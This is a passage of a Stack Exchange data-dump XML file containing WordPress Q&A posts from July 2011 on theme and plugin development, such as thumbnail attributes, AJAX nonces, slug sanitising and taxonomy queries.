LastActivityDate="2011-07-07T17:58:21.943" Title="Wordpress &quot;Page not found error&quot; when I edit a page" Tags="&lt;html&gt;&lt;404-error&gt;&lt;visual-editor&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="22302" PostTypeId="1" CreationDate="2011-07-07T14:50:20.823" Score="0" ViewCount="146" Body="&lt;p&gt;How can I remove the width and height attributes from the post_thumbnail when inserting with &lt;code&gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img width=&quot;800&quot; height=&quot;533&quot; src=&quot;http://domain.com/wp-content/uploads/2011/02/image.jpg&quot; class=&quot;attachment-post-thumbnail wp-post-image&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2429" LastActivityDate="2011-08-01T23:23:35.820" Title="How do you remove hard coded thumbnail image dimensions?" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="22303" PostTypeId="2" ParentId="22296" CreationDate="2011-07-07T15:00:50.397" Score="0" ViewCount="" Body="&lt;p&gt;You may need to use one of the following configuration parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Don't remove line breaks&#xA;'remove_linebreaks' =&amp;gt; false; &#xA;// Convert newline characters to BR tags&#xA;'convert_newlines_to_brs' =&amp;gt; true; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WordPress passes an &lt;code&gt;$init&lt;/code&gt; argument array to TinyMCE that sets the opposite value for each of these parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you can pass them directly in your &lt;code&gt;wp_tiny_mce()&lt;/code&gt; argument array, but I've not tried; I pass them as array parameters for a custom filter of the TinyMCE &lt;code&gt;$init&lt;/code&gt; array.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-07T15:00:50.397" CommentCount="3" />
  <row Id="22304" PostTypeId="2" ParentId="22302" CreationDate="2011-07-07T15:01:40.523" Score="2" ViewCount="" Body="&lt;p&gt;you could just grab the url of the thumb and put it in an img tag yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), 'your_thumb_handle' );&#xA;?&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $thumbnail['0']; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-07T15:01:40.523" CommentCount="1" />
  <row Id="22305" PostTypeId="1" AcceptedAnswerId="22372" CreationDate="2011-07-07T15:06:33.103" Score="0" ViewCount="107" Body="&lt;p&gt;I have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a simply ajax function.&#xA;When I'm logged in, it works perfectly.&#xA;When I'm logged out, it returns me -1 (since Wordpress 3.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why ? I don't understand.&#xA;Precisely, it returns -1 and my entire HTML code. (lol)&#xA;I'm gonna be crazy again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP (in functions.php)&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function say_coucou(){&#xA;check_ajax_referer( 'hello', 'nonce' );&#xA;echo &quot;Hello&quot;;&#xA;die(); // this is required to return a proper result&#xA;exit;&#xA;}&#xA;add_action('wp_ajax_hello_hello', 'say_coucou');&#xA;add_action('wp_ajax_nopriv_hello_hello', 'say_coucou');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;JAVASCRIPT / JQUERY / AJAX (in footer.php) *&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function blabla(){&#xA;    var toSend = {&#xA;      action:&quot;hello_hello&quot;,&#xA;      post_id: &quot;&amp;lt;?php echo $wp_query-&amp;gt;post-&amp;gt;ID; ?&amp;gt;&quot;,&#xA;      nonce: &quot;&amp;lt;?php echo js_escape( wp_create_nonce('hello')); ?&amp;gt;&quot;&#xA;    };&#xA;    url_action = 'http://www.***********/wp-admin/admin-ajax.php';&#xA;    $.ajaxSetup({cache:true});&#xA;    $.ajax({&#xA;      url: url_action,&#xA;      type:'POST',&#xA;      data: toSend,&#xA;      cache: false,&#xA;      success:function(results)&#xA;      {&#xA;        alert(results)&#xA;      }&#xA;     });&#xA; } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help, please ? &#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2000" LastEditorUserId="2000" LastEditorDisplayName="" LastEditDate="2011-07-07T22:44:33.010" LastActivityDate="2011-07-08T14:40:11.567" Title="Ajax function returns -1" Tags="&lt;ajax&gt;&lt;nonce&gt;&lt;logout&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="22306" PostTypeId="2" ParentId="22299" CreationDate="2011-07-07T15:07:06.387" Score="0" ViewCount="" Body="&lt;p&gt;You should add the &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; parameters to your &lt;code&gt;register_sidebar()&lt;/code&gt; argument array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'name'=&amp;gt;'Sidebar Name',&#xA;'id'=&amp;gt;'sidebar-slug',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar(array(&#xA;    'name'=&amp;gt;'Sidebar Name',&#xA;    'id'=&amp;gt;'sidebar-slug',&#xA;    'before_widget' =&amp;gt; '&amp;lt;section&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/section&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h3&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call the &lt;code&gt;id&lt;/code&gt; of the Sidebar in your &lt;code&gt;dynamic_sidebar()&lt;/code&gt; call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! dynamic_sidebar( 'sidebar-slug' ) ) {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way: you don't need to include a &lt;code&gt;function_exists( 'dynamic_sidebar' ) )&lt;/code&gt; conditional; this functionality has been in WordPress since version 2.8.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-07T15:07:06.387" />
  <row Id="22307" PostTypeId="1" CreationDate="2011-07-07T15:09:56.833" Score="1" ViewCount="34" Body="&lt;p&gt;I have a table in my WordPress db called wp_featuredposts. How can I make a query to output the posts in that table into the loop on a custom wordpress page template?&lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2011-08-07T03:19:59.620" Title="using the loop with a custom table" Tags="&lt;page-template&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="22308" PostTypeId="2" ParentId="22301" CreationDate="2011-07-07T15:11:06.970" Score="0" ViewCount="" Body="&lt;p&gt;What form are your pretty permalinks taking, and what is the title of that page? I've had something similar happen and it had to do with the page title. Try flushing your permalinks (go to Settings &gt; Permalinks and switch to a different default, save, then switch back again to what you were using). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though of course this doesn't explain at all why putting the word 'from' in the body of the post would make any difference at all. :( &lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-07T15:11:06.970" CommentCount="1" />
  <row Id="22309" PostTypeId="2" ParentId="22292" CreationDate="2011-07-07T15:16:09.170" Score="3" ViewCount="" Body="&lt;p&gt;For multi-page posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;$page&lt;/code&gt; global variable returns the current page of a multi-page post.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;$numpages&lt;/code&gt; global variable returns the total number of pages in a multi-page post.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For paginated archive index pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;$paged&lt;/code&gt; global variable returns the current page number of a paginated archive index.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To use any of these variables, simply &lt;em&gt;globalize&lt;/em&gt; them first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $page;&#xA;&#xA;echo 'The current page number of this post is ' . $page . '.';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-07T15:16:09.170" />
  <row Id="22310" PostTypeId="1" CreationDate="2011-07-07T15:31:29.530" Score="1" ViewCount="90" Body="&lt;p&gt;I have a new site and I'm using bbpress beta-3 with it, I've created custom login/register/lost-password pages with the custom templates supplied with bbpress and I can't seem to find the filter/hook/action that &quot;hijacks&quot; the calls to &lt;code&gt;wp-login.php&lt;/code&gt;. My biggest problem is with the &lt;code&gt;lost-password&lt;/code&gt; page, I want to redirect with a notice, I can catch the error but I can't catch the &lt;code&gt;sent password&lt;/code&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now using in function.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_password_retrieve_errors(){&#xA;    wp_redirect( site_url('lost-password').'?getpass=failed'  );&#xA;}&#xA;&#xA;add_filter('lostpassword_redirect', 'get_password_retrieve_errors', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in form-user-lost-pass.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( $_GET['getpass'] == 'failed' ) { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;bbp-template-notice error&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Invalid username or e-mail, please try again.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way to do it?&lt;/li&gt;&#xA;&lt;li&gt;Is there a global $error object which I can always refer to?&lt;/li&gt;&#xA;&lt;li&gt;Is there a global $notifications object I can always refer to?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-07-12T19:43:39.390" Title="how to redirect to a custom password retrieval page" Tags="&lt;customization&gt;&lt;bbpress&gt;&lt;password&gt;" CommentCount="1" />
  <row Id="22311" PostTypeId="1" CreationDate="2011-07-07T15:39:47.490" Score="0" ViewCount="74" Body="&lt;p&gt;for a project, I've a CPT products with two taxonomies : category and brand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to build a navigation from a category to a product under a brand.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;page 1 : list the categories terms&lt;/li&gt;&#xA;&lt;li&gt;page 2 : list the brand term having the selected category term&lt;/li&gt;&#xA;&lt;li&gt;page 3 : list the products under the brand and the category&lt;/li&gt;&#xA;&lt;li&gt;page 4 : display the product&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously, page 1 and 4 are easy to do but i can't figure out how to retrieve the terms in the page 2 and the products in the page 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there is a way to do that. Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cyril&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found a way to display the correct brands under the page 2 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$term = get_term_by('slug',get_query_var('term'),'product_category');&#xA;&#xA;$q1 = &quot;&#xA;    SELECT DISTINCT p1.ID&#xA;    FROM&#xA;        $wpdb-&amp;gt;posts p1&#xA;        INNER JOIN $wpdb-&amp;gt;term_relationships tr1 ON (p1.ID = tr1.object_id)&#xA;        INNER JOIN $wpdb-&amp;gt;term_taxonomy tt1 ON (tr1.term_taxonomy_id = tt1.term_taxonomy_id)&#xA;    WHERE tt1.term_id = '$term-&amp;gt;term_id'&#xA;    &quot;;&#xA;&#xA;$q2 = &quot;&#xA;    SELECT tt2.term_id&#xA;    FROM&#xA;        $wpdb-&amp;gt;posts p2&#xA;        INNER JOIN $wpdb-&amp;gt;term_relationships tr2 ON (p2.ID = tr2.object_id)&#xA;        INNER JOIN $wpdb-&amp;gt;term_taxonomy tt2 ON (tr2.term_taxonomy_id = tt2.term_taxonomy_id)&#xA;    WHERE p2.ID IN ($q1)&#xA;    &quot;;&#xA;&#xA;$q3 = &quot;&#xA;    SELECT tt3.*&#xA;    FROM&#xA;        $wpdb-&amp;gt;posts p3&#xA;        INNER JOIN $wpdb-&amp;gt;term_relationships tr3 ON (p3.ID = tr3.object_id)&#xA;        INNER JOIN $wpdb-&amp;gt;term_taxonomy tt3 ON (tr3.term_taxonomy_id = tt3.term_taxonomy_id)&#xA;        INNER JOIN $wpdb-&amp;gt;terms t3 ON t3.term_id = tt3.term_id&#xA;    WHERE 1=1&#xA;        AND tt3.term_id IN ($q2)&#xA;        AND tt3.taxonomy = 'product_brand'&#xA;    ORDER BY t3.name ASC&#xA;    &quot;;&#xA;&#xA;$brands = $wpdb-&amp;gt;get_results($q3);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now need to know the category chosen in the taxonomy-brand.php file, any suggestion ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to this thread : &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11582/custom-post-type-taxonomies-url-rewrite&quot;&gt;Custom post type taxonomies URL rewrite&lt;/a&gt;, I now have the correct navigation from the homepage to a product page. Just need to filter the results in the brand page.&lt;/p&gt;&#xA;" OwnerUserId="6476" LastEditorUserId="6476" LastEditorDisplayName="" LastEditDate="2011-07-08T09:35:50.720" LastActivityDate="2011-07-08T09:35:50.720" Title="Relationship between two taxonomies and a custom post type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" FavoriteCount="1" />
  <row Id="22312" PostTypeId="1" CreationDate="2011-07-07T15:46:45.863" Score="0" ViewCount="94" Body="&lt;p&gt;I want to remove some characters from the slug, like &quot;¿&quot; that we use in spanish for opening a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to wp-includes/formatting.php and in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sanitize_title_with_dashes($title)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;line 820 wp32&#xA;I add this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = str_replace('¿', '', $title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just before&#xA;    $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it is working correctly. So when I write in the title &quot;¿Qué tal?&quot; the slug is &quot;que-tal&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how to do it with a function so I can use it via functions.php or via a plugin??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing this but it is not working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function limpiar_slug($slug)&#xA;{&#xA;    $slug = str_replace('¿', '', $slug);&#xA;    return $slug;&#xA;}&#xA;&#xA;add_filter('sanitize_title_with_dashes', 'limpiar_slug');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestion???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2011-08-07T00:19:59.077" Title="Remove international characters from slug - Almost done - Bit help" Tags="&lt;permalinks&gt;&lt;urls&gt;&lt;slug&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="22314" PostTypeId="1" CreationDate="2011-07-07T15:48:04.847" Score="0" ViewCount="98" Body="&lt;p&gt;I have a site that is setup for WordPress multisite.  The main site works, but the subdomains are not functioning as I would like them to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the settings for the main site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upload Path: media/images/national&#xA;Upload URL Path: http:// images.mydomain.com/national&#xA;Fileupload Url: http:// www.mydomain.com/media/images/national&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These settings work, and I am able to upload images to the specified folder.  However, when I try to use similar settings for any of the subdomains, WordPress ignores my settings and use its default settings, which are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upload Path: wp-content/blogs.dir/4/files&#xA;Upload URL Path: (blank)&#xA;Fileupload URL: http:// cityname.mydomain.com/files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all of my media files to go to my media folder and not the wp-content/blogs.dir folder.  How can I get WordPress to use the settings I place in Upload Path, Upload Url Path and Fileupload Url instead of it defaulting to it's own settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final note: this also happens on a fresh install.&lt;/p&gt;&#xA;" OwnerUserId="6835" LastActivityDate="2011-08-07T01:19:59.400" Title="How to make WordPress use new Upload Path settings in Multisite Setup" Tags="&lt;multisite&gt;&lt;uploads&gt;&lt;settings&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22315" PostTypeId="2" ParentId="22292" CreationDate="2011-07-07T16:07:17.483" Score="1" ViewCount="" Body="&lt;p&gt;There you go: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$queryVars = $wp_query-&amp;gt;query_vars;&#xA;    $pageNum = ($queryVars[page]);&#xA;&#xA;    if($pageNum) { &#xA;        echo &quot;Page n&amp;amp;deg;&quot; . $pageNum; &#xA;    } else { &#xA;        echo &quot;Page n&amp;amp;deg;1&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested with wp 3.2 with basic permalinks and custom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Didn't see Chip Bennett's answer wich is smaller.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-07T16:07:17.483" />
  <row Id="22316" PostTypeId="2" ParentId="22312" CreationDate="2011-07-07T16:46:07.797" Score="0" ViewCount="" Body="&lt;p&gt;The problem is that the function &lt;code&gt;sanitize_title_with_dashes&lt;/code&gt; doesn't use filters (which is odd I think) so you won't be able to change it without hacking the formatting.php file directly :( &lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-07-07T16:46:07.797" CommentCount="2" />
  <row Id="22317" PostTypeId="1" AcceptedAnswerId="22896" CreationDate="2011-07-07T16:47:52.813" Score="0" ViewCount="160" Body="&lt;p&gt;After updating to Wordpress 3.2, the show/hide functionality of the event authoring area on &quot;The Events Calendar&quot; is backwards - when the &quot;All Day Event?&quot; checkbox is checked, the time boxes appear. When it is unchecked, the time boxes disappear. This is &lt;em&gt;opposite&lt;/em&gt; behavior of what should happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it's a Jquery issue. Has anyone else discovered this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/8XOu5.png&quot; alt=&quot;All day event unchecked&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/MgZ4f.png&quot; alt=&quot;All day event checked&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-14T14:38:40.830" Title="&quot;The Events Calendar&quot; Issues in WP 3.2" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;the-events-calendar&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22318" PostTypeId="2" ParentId="22305" CreationDate="2011-07-07T16:52:19.983" Score="2" ViewCount="" Body="&lt;p&gt;Rarst said it worked for him both logged in and logged out, i can also confirm the same, here's my ugly test code that works, very much just a hacked together version of your code(for testing).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function say_coucou(){&#xA;    check_ajax_referer( 'hello', 'nonce' );&#xA;    echo &quot;Hello&quot;;&#xA;    die;&#xA;}&#xA;add_action('wp_ajax_hello_hello', 'say_coucou');&#xA;add_action('wp_ajax_nopriv_hello_hello', 'say_coucou');&#xA;add_action('admin_print_footer_scripts','blabla',20000);&#xA;add_action('wp_head','enj',20000);&#xA;add_action('wp_footer','blabla',20000);&#xA;function enj() {&#xA;    wp_enqueue_script('jquery');&#xA;}&#xA;&#xA;function blabla(){&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;    jQuery(document).ready(function($){&#xA;&#xA;        $('a#blabla').click(function(){&#xA;&#xA;            var toSend = {&#xA;                action:&quot;hello_hello&quot;,&#xA;                post_id: &quot;1&quot;,&#xA;                nonce: &quot;&amp;lt;?php echo esc_js( wp_create_nonce('hello') ); ?&amp;gt;&quot;&#xA;            };&#xA;            url_action = &quot;&amp;lt;?php echo admin_url('/admin-ajax.php'); ?&amp;gt;&quot;;&#xA;            $.ajaxSetup({cache:true});&#xA;            $.ajax({&#xA;                url: url_action,&#xA;                type:'POST',&#xA;                data: toSend,&#xA;                cache: false,&#xA;                success:function(results) {&#xA;                    alert(results)&#xA;                }&#xA;            });&#xA;        });&#xA;    });&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; id=&quot;blabla&quot;&amp;gt;aaa&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worked both logged out and logged in(obviously not in admin logged out, because there is no admin logged out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd not realistically use the hooks so poorly in real code form, so don't look to my hacky version of your code as a good example of how to do things, because it's not.. (for illustration of working test code only).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-07T16:52:19.983" CommentCount="5" />
  <row Id="22319" PostTypeId="2" ParentId="22312" CreationDate="2011-07-07T16:58:13.193" Score="1" ViewCount="" Body="&lt;p&gt;Following on from my comment on your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution would be to hook your own filter onto the same functions &lt;code&gt;sanitize_title_with_dashes&lt;/code&gt; does, in this case i think you're just aiming to hook onto &lt;code&gt;sanitize_title&lt;/code&gt; as is done with &lt;code&gt;sanitize_title_with_dashes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply ensure you hook on after &lt;code&gt;sanitize_title_with_dashes&lt;/code&gt;, which is hooked on at the default priority of 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('sanitize_title', 'limpiar_slug', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need to hack core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT BELOW:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could give some regex a try, here's a sample you can play with, code adapted from Adriana Villafañe's code in response to &lt;a href=&quot;http://stackoverflow.com/questions/4051889/regular-expression-any-text-to-url-friendly-one&quot;&gt;Regular expression - any text to URL friendly one&lt;/a&gt; on StackOverflow.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'sanitize_title', 'sanitize_title_extra' );&#xA;&#xA;function sanitize_title_extra( $title ) {&#xA;&#xA;    $friendlyURL = htmlentities($title, ENT_COMPAT, &quot;UTF-8&quot;, false); &#xA;    $friendlyURL = preg_replace('/&amp;amp;([a-z]{1,2})(?:acute|lig|grave|ring|tilde|uml|cedil|caron);/i','\1',$friendlyURL);&#xA;    $friendlyURL = html_entity_decode($friendlyURL,ENT_COMPAT, &quot;UTF-8&quot;); &#xA;    $friendlyURL = preg_replace('/[^a-z0-9-]+/i', '-', $friendlyURL);&#xA;    $friendlyURL = preg_replace('/-+/', '-', $friendlyURL);&#xA;    $friendlyURL = trim($friendlyURL, '-');&#xA;    $friendlyURL = strtolower($friendlyURL);&#xA;    return $friendlyURL;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems to do the trick of clearing up some unwanted characters, feel free to tweak, etc...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-07T20:02:02.270" LastActivityDate="2011-07-07T20:02:02.270" CommentCount="7" />
  <row Id="22320" PostTypeId="2" ParentId="22210" CreationDate="2011-07-07T17:02:45.403" Score="0" ViewCount="" Body="&lt;p&gt;Softaculous doesnt configure anything in WordPress which would stop a Manual Upgrade.&#xA;You can contact the support team and they should help you.&#xA;To test your claim I just upgraded my Blog which was installed by Softaculous and it is working.&#xA;You should check for the PHP error logs as well.&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2011-07-07T17:02:45.403" />
  <row Id="22321" PostTypeId="1" AcceptedAnswerId="22323" CreationDate="2011-07-07T17:43:06.640" Score="0" ViewCount="15" Body="&lt;p&gt;Is there an easy way (a plugin maybe?) to export and then import into a different WordPress installation all links in the blogroll including descriptions and categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can export links by going to /wp-links-opml.php, but I believe doing it this way you loose the link descriptions. When importing, I'd like links to be put in their categories - if the categore does not exist it should be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer a way to do this without hacking any core WordPress files if at all possible.&lt;/p&gt;&#xA;" OwnerUserId="5620" LastActivityDate="2011-07-07T17:47:09.780" Title="Blogroll import/export with categories and descriptions" Tags="&lt;links&gt;&lt;import&gt;&lt;export&gt;&lt;blogroll&gt;" AnswerCount="1" />
  <row Id="22322" PostTypeId="2" ParentId="22307" CreationDate="2011-07-07T17:44:04.057" Score="1" ViewCount="" Body="&lt;p&gt;You should use &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;wpdb&lt;/a&gt; to query the database and then insert them into &lt;a href=&quot;http://codex.wordpress.org/The_Loop_in_Action&quot; rel=&quot;nofollow&quot;&gt;the loop&lt;/a&gt; (loop.php).&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-07T17:44:04.057" />
  <row Id="22323" PostTypeId="2" ParentId="22321" CreationDate="2011-07-07T17:47:09.780" Score="0" ViewCount="" Body="&lt;p&gt;You can export/import the &lt;a href=&quot;http://codex.wordpress.org/Database_Description#Table%3a_wp_links&quot; rel=&quot;nofollow&quot;&gt;wp_links&lt;/a&gt; database table using PhpMyAdmin or similar database tool. Just make sure in the file that exports you change the database name at the top of the file to the name of the database in your destination wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that importing the table will remove any links that you currently have in the destination Wordpress install.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-07T17:47:09.780" />
  <row Id="22324" PostTypeId="1" CreationDate="2011-07-07T17:54:25.250" Score="1" ViewCount="31" Body="&lt;p&gt;I'm using the WordPress &lt;code&gt;selected()&lt;/code&gt; function to display the current option in a dropdown list. The issue I am having is that for some reason WordPress is printing out &lt;code&gt;selected='selected'&lt;/code&gt; above the form in addition to in the actual &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; elements. This is how I am using the &lt;code&gt;selected()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name='gender'&amp;gt;&#xA;&amp;lt;option value='male' &quot; . selected( $values['gender'] , 'male') . &quot;&amp;gt;Male&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value='female' &quot; . selected( $values['gender'] , 'female') . &quot;&amp;gt;Female&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value='other' &quot; . selected( $values['gender'] , 'other') . &quot;&amp;gt;Other&amp;lt;/option&amp;gt;         &#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removing the markup above eliminates the &lt;code&gt;selected='selected'&lt;/code&gt;which is appearing completely outside of the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;" OwnerUserId="6156" LastActivityDate="2011-07-07T18:18:20.287" Title="Using the WordPress selected() function" Tags="&lt;forms&gt;" AnswerCount="2" />
